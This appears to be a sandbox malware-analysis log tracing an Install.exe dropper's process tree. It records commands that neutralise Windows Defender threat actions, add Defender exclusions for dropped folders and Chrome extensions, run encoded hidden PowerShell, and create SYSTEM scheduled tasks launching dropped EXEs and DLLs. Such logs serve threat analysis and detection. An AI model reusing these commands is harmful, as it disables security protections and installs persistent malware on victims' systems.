C:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exeC:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exe OF /eadidBK 525403 /S1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:1700
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:2384
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:4404
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:1176
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:2736
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:2244
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:1396
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:744
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:2512
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:3520
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:1712
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:4492
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:4624
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:4592
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:4696
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:4556
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:1392
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:1956
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:1308
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:2112
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:1204
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:4496
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:4480
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:4104
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:5024
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:4248
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:764
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:2972
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TuhNvssQnTUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TuhNvssQnTUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZDLVjxnHU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZDLVjxnHU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ijGSqddcuZeU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ijGSqddcuZeU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wWtwQxeSPhIsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wWtwQxeSPhIsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rPjTFWmQUriHtIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rPjTFWmQUriHtIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\KgqmxDjAgxgUqXtom\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\KgqmxDjAgxgUqXtom\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\PfAmACXkWBLbKqPZ\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\PfAmACXkWBLbKqPZ\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5032 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TuhNvssQnTUn" /t REG_DWORD /d 0 /reg:323⤵PID:524
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TuhNvssQnTUn" /t REG_DWORD /d 0 /reg:324⤵PID:5064
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TuhNvssQnTUn" /t REG_DWORD /d 0 /reg:643⤵PID:3660
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZDLVjxnHU" /t REG_DWORD /d 0 /reg:323⤵PID:920
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZDLVjxnHU" /t REG_DWORD /d 0 /reg:643⤵PID:508
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ijGSqddcuZeU2" /t REG_DWORD /d 0 /reg:323⤵PID:4960
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ijGSqddcuZeU2" /t REG_DWORD /d 0 /reg:643⤵PID:5040
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nIXneLoYhSqxVZkgocR" /t REG_DWORD /d 0 /reg:323⤵PID:4612
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nIXneLoYhSqxVZkgocR" /t REG_DWORD /d 0 /reg:643⤵PID:4636
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wWtwQxeSPhIsC" /t REG_DWORD /d 0 /reg:323⤵PID:220
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wWtwQxeSPhIsC" /t REG_DWORD /d 0 /reg:643⤵PID:3356
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rPjTFWmQUriHtIVB /t REG_DWORD /d 0 /reg:323⤵PID:4544
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rPjTFWmQUriHtIVB /t REG_DWORD /d 0 /reg:643⤵PID:4072
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:4500
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:4944
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\KgqmxDjAgxgUqXtom /t REG_DWORD /d 0 /reg:323⤵PID:1460
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\KgqmxDjAgxgUqXtom /t REG_DWORD /d 0 /reg:643⤵PID:916
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\PfAmACXkWBLbKqPZ /t REG_DWORD /d 0 /reg:323⤵PID:4472
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\PfAmACXkWBLbKqPZ /t REG_DWORD /d 0 /reg:643⤵PID:1020
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gDVsKLnoB" /SC once /ST 01:22:09 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Scheduled Task/Job: Scheduled Task
PID:824
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gDVsKLnoB"2⤵PID:4376
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gDVsKLnoB"2⤵PID:3440
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bdmBPZkQYKMDiCzlG" /SC once /ST 03:18:13 /RU "SYSTEM" /TR "\"C:\Windows\Temp\PfAmACXkWBLbKqPZ\wQaztmnOsDzmFZa\wsXKoHd.exe\" 5U /OTaSdidcu 525403 /S" /V1 /F2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4556
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bdmBPZkQYKMDiCzlG"2⤵PID:2008
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2824 -s 7922⤵
- Program crash
PID:5108
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4188 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:5096
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4280
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:3964
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2736
-
C:\Windows\Temp\PfAmACXkWBLbKqPZ\wQaztmnOsDzmFZa\wsXKoHd.exeC:\Windows\Temp\PfAmACXkWBLbKqPZ\wQaztmnOsDzmFZa\wsXKoHd.exe 5U /OTaSdidcu 525403 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1248 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "brlogsXZdQLKJRjYtj"2⤵PID:2984
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵PID:4860
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵PID:3968
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵PID:3264
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1940
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ZDLVjxnHU\RfqzAZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "tRbTscEIBTcXFpe" /V1 /F2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4112
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "tRbTscEIBTcXFpe2" /F /xml "C:\Program Files (x86)\ZDLVjxnHU\zAwOntl.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:5012
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "tRbTscEIBTcXFpe"2⤵PID:620
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "tRbTscEIBTcXFpe"2⤵PID:1436
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "UMVDLkRPlKTzVm" /F /xml "C:\Program Files (x86)\ijGSqddcuZeU2\aXcUTcL.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:4468
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qAaqOfviiIaiI2" /F /xml "C:\ProgramData\rPjTFWmQUriHtIVB\ykmsmkk.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:2848
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "dnxSRqgonxLOXEwjj2" /F /xml "C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\BuIDoNj.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:648
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "symbKzMjSaDuuUPBtNE2" /F /xml "C:\Program Files (x86)\wWtwQxeSPhIsC\kQEMlPB.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:1020
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "SQVSLJdEAqcPOSFTe" /SC once /ST 01:31:17 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\PfAmACXkWBLbKqPZ\xfbYicki\PelFBiT.dll\",#1 /KPdidqfmd 525403" /V1 /F2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:5040
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "SQVSLJdEAqcPOSFTe"2⤵PID:4612
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bdmBPZkQYKMDiCzlG"2⤵PID:2356
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 20962⤵
- Program crash
PID:512
-
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\PfAmACXkWBLbKqPZ\xfbYicki\PelFBiT.dll",#1 /KPdidqfmd 5254031⤵PID:1352
-
